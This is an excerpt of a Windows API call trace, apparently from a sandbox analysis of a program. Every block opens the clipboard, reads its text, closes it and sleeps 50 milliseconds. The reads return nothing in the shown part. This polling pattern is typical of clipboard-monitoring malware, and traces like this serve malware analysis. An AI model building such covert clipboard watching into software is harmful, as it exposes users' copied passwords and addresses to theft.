[0262.040] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf725ddff, dwHighDateTime=0x1d96e12))
[0262.040] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.040] GetClipboardData (uFormat=0x1) returned 0x0
[0262.040] CloseClipboard () returned 1
[0262.040] Sleep (dwMilliseconds=0x32)
[0262.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7284055, dwHighDateTime=0x1d96e12))
[0262.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.054] GetClipboardData (uFormat=0x1) returned 0x0
[0262.054] CloseClipboard () returned 1
[0262.054] Sleep (dwMilliseconds=0x32)
[0262.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf72aa2a8, dwHighDateTime=0x1d96e12))
[0262.071] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.071] GetClipboardData (uFormat=0x1) returned 0x0
[0262.071] CloseClipboard () returned 1
[0262.072] Sleep (dwMilliseconds=0x32)
[0262.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf72d050b, dwHighDateTime=0x1d96e12))
[0262.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.086] GetClipboardData (uFormat=0x1) returned 0x0
[0262.086] CloseClipboard () returned 1
[0262.086] Sleep (dwMilliseconds=0x32)
[0262.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf72f675f, dwHighDateTime=0x1d96e12))
[0262.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.101] GetClipboardData (uFormat=0x1) returned 0x0
[0262.102] CloseClipboard () returned 1
[0262.102] Sleep (dwMilliseconds=0x32)
[0262.118] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf731c9bd, dwHighDateTime=0x1d96e12))
[0262.118] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.118] GetClipboardData (uFormat=0x1) returned 0x0
[0262.118] CloseClipboard () returned 1
[0262.118] Sleep (dwMilliseconds=0x32)
[0262.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7342c18, dwHighDateTime=0x1d96e12))
[0262.132] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.133] GetClipboardData (uFormat=0x1) returned 0x0
[0262.133] CloseClipboard () returned 1
[0262.133] Sleep (dwMilliseconds=0x32)
[0262.148] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7368e75, dwHighDateTime=0x1d96e12))
[0262.148] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.148] GetClipboardData (uFormat=0x1) returned 0x0
[0262.148] CloseClipboard () returned 1
[0262.148] Sleep (dwMilliseconds=0x32)
[0262.165] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf738f0d4, dwHighDateTime=0x1d96e12))
[0262.165] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.165] GetClipboardData (uFormat=0x1) returned 0x0
[0262.165] CloseClipboard () returned 1
[0262.165] Sleep (dwMilliseconds=0x32)
[0262.179] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf73b5327, dwHighDateTime=0x1d96e12))
[0262.179] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.179] GetClipboardData (uFormat=0x1) returned 0x0
[0262.179] CloseClipboard () returned 1
[0262.180] Sleep (dwMilliseconds=0x32)
[0262.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf73db582, dwHighDateTime=0x1d96e12))
[0262.196] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.196] GetClipboardData (uFormat=0x1) returned 0x0
[0262.196] CloseClipboard () returned 1
[0262.196] Sleep (dwMilliseconds=0x32)
[0262.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf74017f3, dwHighDateTime=0x1d96e12))
[0262.211] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.211] GetClipboardData (uFormat=0x1) returned 0x0
[0262.211] CloseClipboard () returned 1
[0262.211] Sleep (dwMilliseconds=0x32)
[0262.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7427a35, dwHighDateTime=0x1d96e12))
[0262.226] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.226] GetClipboardData (uFormat=0x1) returned 0x0
[0262.226] CloseClipboard () returned 1
[0262.226] Sleep (dwMilliseconds=0x32)
[0262.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf744dc8f, dwHighDateTime=0x1d96e12))
[0262.242] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.242] GetClipboardData (uFormat=0x1) returned 0x0
[0262.242] CloseClipboard () returned 1
[0262.242] Sleep (dwMilliseconds=0x32)
[0262.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7473ee0, dwHighDateTime=0x1d96e12))
[0262.257] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.258] GetClipboardData (uFormat=0x1) returned 0x0
[0262.258] CloseClipboard () returned 1
[0262.258] Sleep (dwMilliseconds=0x32)
[0262.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf749a14c, dwHighDateTime=0x1d96e12))
[0262.273] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.273] GetClipboardData (uFormat=0x1) returned 0x0
[0262.273] CloseClipboard () returned 1
[0262.273] Sleep (dwMilliseconds=0x32)
[0262.289] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf74c03c3, dwHighDateTime=0x1d96e12))
[0262.289] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.289] GetClipboardData (uFormat=0x1) returned 0x0
[0262.289] CloseClipboard () returned 1
[0262.289] Sleep (dwMilliseconds=0x32)
[0262.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf74e65fe, dwHighDateTime=0x1d96e12))
[0262.305] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.305] GetClipboardData (uFormat=0x1) returned 0x0
[0262.305] CloseClipboard () returned 1
[0262.305] Sleep (dwMilliseconds=0x32)
[0262.320] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf750c84e, dwHighDateTime=0x1d96e12))
[0262.320] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.320] GetClipboardData (uFormat=0x1) returned 0x0
[0262.320] CloseClipboard () returned 1
[0262.320] Sleep (dwMilliseconds=0x32)
[0262.336] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7532af0, dwHighDateTime=0x1d96e12))
[0262.336] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.336] GetClipboardData (uFormat=0x1) returned 0x0
[0262.336] CloseClipboard () returned 1
[0262.336] Sleep (dwMilliseconds=0x32)
[0262.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7558d70, dwHighDateTime=0x1d96e12))
[0262.351] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.351] GetClipboardData (uFormat=0x1) returned 0x0
[0262.351] CloseClipboard () returned 1
[0262.351] Sleep (dwMilliseconds=0x32)
[0262.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf757ef60, dwHighDateTime=0x1d96e12))
[0262.367] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.367] GetClipboardData (uFormat=0x1) returned 0x0
[0262.367] CloseClipboard () returned 1
[0262.367] Sleep (dwMilliseconds=0x32)
[0262.382] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf75a51cb, dwHighDateTime=0x1d96e12))
[0262.382] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.382] GetClipboardData (uFormat=0x1) returned 0x0
[0262.383] CloseClipboard () returned 1
[0262.383] Sleep (dwMilliseconds=0x32)
[0262.400] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf75cb433, dwHighDateTime=0x1d96e12))
[0262.400] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.400] GetClipboardData (uFormat=0x1) returned 0x0
[0262.400] CloseClipboard () returned 1
[0262.400] Sleep (dwMilliseconds=0x32)
[0262.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf75f1669, dwHighDateTime=0x1d96e12))
[0262.415] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.415] GetClipboardData (uFormat=0x1) returned 0x0
[0262.415] CloseClipboard () returned 1
[0262.415] Sleep (dwMilliseconds=0x32)
[0262.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf76178c9, dwHighDateTime=0x1d96e12))
[0262.433] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.433] GetClipboardData (uFormat=0x1) returned 0x0
[0262.433] CloseClipboard () returned 1
[0262.433] Sleep (dwMilliseconds=0x32)
[0262.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf763db22, dwHighDateTime=0x1d96e12))
[0262.446] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.446] GetClipboardData (uFormat=0x1) returned 0x0
[0262.446] CloseClipboard () returned 1
[0262.447] Sleep (dwMilliseconds=0x32)
[0262.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7663d7d, dwHighDateTime=0x1d96e12))
[0262.461] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.461] GetClipboardData (uFormat=0x1) returned 0x0
[0262.461] CloseClipboard () returned 1
[0262.461] Sleep (dwMilliseconds=0x32)
[0262.476] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7689fe2, dwHighDateTime=0x1d96e12))
[0262.476] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.476] GetClipboardData (uFormat=0x1) returned 0x0
[0262.476] CloseClipboard () returned 1
[0262.476] Sleep (dwMilliseconds=0x32)
[0262.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf76b0223, dwHighDateTime=0x1d96e12))
[0262.492] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.492] GetClipboardData (uFormat=0x1) returned 0x0
[0262.492] CloseClipboard () returned 1
[0262.492] Sleep (dwMilliseconds=0x32)
[0262.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf76d6480, dwHighDateTime=0x1d96e12))
[0262.507] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.508] GetClipboardData (uFormat=0x1) returned 0x0
[0262.508] CloseClipboard () returned 1
[0262.508] Sleep (dwMilliseconds=0x32)
[0262.523] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf76fc6e3, dwHighDateTime=0x1d96e12))
[0262.523] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.523] GetClipboardData (uFormat=0x1) returned 0x0
[0262.523] CloseClipboard () returned 1
[0262.523] Sleep (dwMilliseconds=0x32)
[0262.540] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7722943, dwHighDateTime=0x1d96e12))
[0262.540] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.540] GetClipboardData (uFormat=0x1) returned 0x0
[0262.541] CloseClipboard () returned 1
[0262.541] Sleep (dwMilliseconds=0x32)
[0262.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7748b9c, dwHighDateTime=0x1d96e12))
[0262.554] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.554] GetClipboardData (uFormat=0x1) returned 0x0
[0262.554] CloseClipboard () returned 1
[0262.554] Sleep (dwMilliseconds=0x32)
[0262.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf776ee0a, dwHighDateTime=0x1d96e12))
[0262.571] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.572] GetClipboardData (uFormat=0x1) returned 0x0
[0262.572] CloseClipboard () returned 1
[0262.572] Sleep (dwMilliseconds=0x32)
[0262.586] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7795054, dwHighDateTime=0x1d96e12))
[0262.586] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.586] GetClipboardData (uFormat=0x1) returned 0x0
[0262.586] CloseClipboard () returned 1
[0262.586] Sleep (dwMilliseconds=0x32)
[0262.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf77bb2a3, dwHighDateTime=0x1d96e12))
[0262.601] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.601] GetClipboardData (uFormat=0x1) returned 0x0
[0262.601] CloseClipboard () returned 1
[0262.601] Sleep (dwMilliseconds=0x32)
[0262.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf77e14fc, dwHighDateTime=0x1d96e12))
[0262.618] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.618] GetClipboardData (uFormat=0x1) returned 0x0
[0262.618] CloseClipboard () returned 1
[0262.618] Sleep (dwMilliseconds=0x32)
[0262.632] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7807755, dwHighDateTime=0x1d96e12))
[0262.632] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.633] GetClipboardData (uFormat=0x1) returned 0x0
[0262.633] CloseClipboard () returned 1
[0262.633] Sleep (dwMilliseconds=0x32)
[0262.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf782d9b5, dwHighDateTime=0x1d96e12))
[0262.648] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.648] GetClipboardData (uFormat=0x1) returned 0x0
[0262.648] CloseClipboard () returned 1
[0262.648] Sleep (dwMilliseconds=0x32)
[0262.670] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7853c09, dwHighDateTime=0x1d96e12))
[0262.670] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.670] GetClipboardData (uFormat=0x1) returned 0x0
[0262.671] CloseClipboard () returned 1
[0262.671] Sleep (dwMilliseconds=0x32)
[0262.679] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7879e6b, dwHighDateTime=0x1d96e12))
[0262.679] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.679] GetClipboardData (uFormat=0x1) returned 0x0
[0262.679] CloseClipboard () returned 1
[0262.679] Sleep (dwMilliseconds=0x32)
[0262.696] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf78a00bb, dwHighDateTime=0x1d96e12))
[0262.696] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.697] GetClipboardData (uFormat=0x1) returned 0x0
[0262.697] CloseClipboard () returned 1
[0262.697] Sleep (dwMilliseconds=0x32)
[0262.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf78c6322, dwHighDateTime=0x1d96e12))
[0262.711] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.711] GetClipboardData (uFormat=0x1) returned 0x0
[0262.711] CloseClipboard () returned 1
[0262.711] Sleep (dwMilliseconds=0x32)
[0262.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf78ec56e, dwHighDateTime=0x1d96e12))
[0262.726] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.726] GetClipboardData (uFormat=0x1) returned 0x0
[0262.726] CloseClipboard () returned 1
[0262.726] Sleep (dwMilliseconds=0x32)
[0262.743] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf79127cf, dwHighDateTime=0x1d96e12))
[0262.743] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.744] GetClipboardData (uFormat=0x1) returned 0x0
[0262.744] CloseClipboard () returned 1
[0262.744] Sleep (dwMilliseconds=0x32)
[0262.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7938a2b, dwHighDateTime=0x1d96e12))
[0262.758] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.758] GetClipboardData (uFormat=0x1) returned 0x0
[0262.758] CloseClipboard () returned 1
[0262.758] Sleep (dwMilliseconds=0x32)
[0262.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf795ec86, dwHighDateTime=0x1d96e12))
[0262.773] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.773] GetClipboardData (uFormat=0x1) returned 0x0
[0262.773] CloseClipboard () returned 1
[0262.773] Sleep (dwMilliseconds=0x32)
[0262.789] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7984ee8, dwHighDateTime=0x1d96e12))
[0262.789] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.789] GetClipboardData (uFormat=0x1) returned 0x0
[0262.789] CloseClipboard () returned 1
[0262.789] Sleep (dwMilliseconds=0x32)
[0262.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf79ab130, dwHighDateTime=0x1d96e12))
[0262.804] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.804] GetClipboardData (uFormat=0x1) returned 0x0
[0262.804] CloseClipboard () returned 1
[0262.804] Sleep (dwMilliseconds=0x32)
[0262.820] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf79d138c, dwHighDateTime=0x1d96e12))
[0262.820] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.820] GetClipboardData (uFormat=0x1) returned 0x0
[0262.820] CloseClipboard () returned 1
[0262.820] Sleep (dwMilliseconds=0x32)
[0262.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf79f7618, dwHighDateTime=0x1d96e12))
[0262.836] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.836] GetClipboardData (uFormat=0x1) returned 0x0
[0262.836] CloseClipboard () returned 1
[0262.836] Sleep (dwMilliseconds=0x32)
[0262.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7a1d862, dwHighDateTime=0x1d96e12))
[0262.851] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.851] GetClipboardData (uFormat=0x1) returned 0x0
[0262.851] CloseClipboard () returned 1
[0262.851] Sleep (dwMilliseconds=0x32)
[0262.867] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7a43a9e, dwHighDateTime=0x1d96e12))
[0262.867] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.867] GetClipboardData (uFormat=0x1) returned 0x0
[0262.867] CloseClipboard () returned 1
[0262.867] Sleep (dwMilliseconds=0x32)
[0262.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7a69d2c, dwHighDateTime=0x1d96e12))
[0262.882] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.883] GetClipboardData (uFormat=0x1) returned 0x0
[0262.883] CloseClipboard () returned 1
[0262.883] Sleep (dwMilliseconds=0x32)
[0262.898] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7a8ffc0, dwHighDateTime=0x1d96e12))
[0262.898] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.898] GetClipboardData (uFormat=0x1) returned 0x0
[0262.898] CloseClipboard () returned 1
[0262.898] Sleep (dwMilliseconds=0x32)
[0262.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7ab61b3, dwHighDateTime=0x1d96e12))
[0262.914] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.914] GetClipboardData (uFormat=0x1) returned 0x0
[0262.914] CloseClipboard () returned 1
[0262.914] Sleep (dwMilliseconds=0x32)
[0262.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7adc417, dwHighDateTime=0x1d96e12))
[0262.929] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.929] GetClipboardData (uFormat=0x1) returned 0x0
[0262.929] CloseClipboard () returned 1
[0262.930] Sleep (dwMilliseconds=0x32)
[0262.945] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7b0267a, dwHighDateTime=0x1d96e12))
[0262.945] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.945] GetClipboardData (uFormat=0x1) returned 0x0
[0262.945] CloseClipboard () returned 1
[0262.945] Sleep (dwMilliseconds=0x32)
[0262.961] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7b288de, dwHighDateTime=0x1d96e12))
[0262.961] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.961] GetClipboardData (uFormat=0x1) returned 0x0
[0262.961] CloseClipboard () returned 1
[0262.961] Sleep (dwMilliseconds=0x32)
[0262.976] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7b4eb1b, dwHighDateTime=0x1d96e12))
[0262.976] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.976] GetClipboardData (uFormat=0x1) returned 0x0
[0262.976] CloseClipboard () returned 1
[0262.977] Sleep (dwMilliseconds=0x32)
[0262.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7b74e16, dwHighDateTime=0x1d96e12))
[0262.992] OpenClipboard (hWndNewOwner=0x0) returned 1
[0262.992] GetClipboardData (uFormat=0x1) returned 0x0
[0262.992] CloseClipboard () returned 1
[0262.992] Sleep (dwMilliseconds=0x32)
[0263.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7b9b064, dwHighDateTime=0x1d96e12))
[0263.007] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.007] GetClipboardData (uFormat=0x1) returned 0x0
[0263.008] CloseClipboard () returned 1
[0263.008] Sleep (dwMilliseconds=0x32)
[0263.023] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7bc1297, dwHighDateTime=0x1d96e12))
[0263.023] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.023] GetClipboardData (uFormat=0x1) returned 0x0
[0263.023] CloseClipboard () returned 1
[0263.023] Sleep (dwMilliseconds=0x32)
[0263.039] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7be74bc, dwHighDateTime=0x1d96e12))
[0263.039] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.039] GetClipboardData (uFormat=0x1) returned 0x0
[0263.039] CloseClipboard () returned 1
[0263.039] Sleep (dwMilliseconds=0x32)
[0263.054] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7c0d6d9, dwHighDateTime=0x1d96e12))
[0263.054] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.054] GetClipboardData (uFormat=0x1) returned 0x0
[0263.054] CloseClipboard () returned 1
[0263.055] Sleep (dwMilliseconds=0x32)
[0263.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7c339c7, dwHighDateTime=0x1d96e12))
[0263.070] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.070] GetClipboardData (uFormat=0x1) returned 0x0
[0263.070] CloseClipboard () returned 1
[0263.070] Sleep (dwMilliseconds=0x32)
[0263.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7c59bf2, dwHighDateTime=0x1d96e12))
[0263.086] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.086] GetClipboardData (uFormat=0x1) returned 0x0
[0263.086] CloseClipboard () returned 1
[0263.086] Sleep (dwMilliseconds=0x32)
[0263.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7c7fdff, dwHighDateTime=0x1d96e12))
[0263.101] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.101] GetClipboardData (uFormat=0x1) returned 0x0
[0263.101] CloseClipboard () returned 1
[0263.101] Sleep (dwMilliseconds=0x32)
[0263.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7ca60d8, dwHighDateTime=0x1d96e12))
[0263.117] OpenClipboard (hWndNewOwner=0x0) returned 1
[0263.117] GetClipboardData (uFormat=0x1) returned 0x0
[0263.117] CloseClipboard () returned 1
[0263.117] Sleep (dwMilliseconds=0x32)
[0263.132] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ec50 | out: lpSystemTimeAsFileTime=0x18ec50*(dwLowDateTime=0xf7ccc2f9, dwHighDateTime=0x1d96e12))
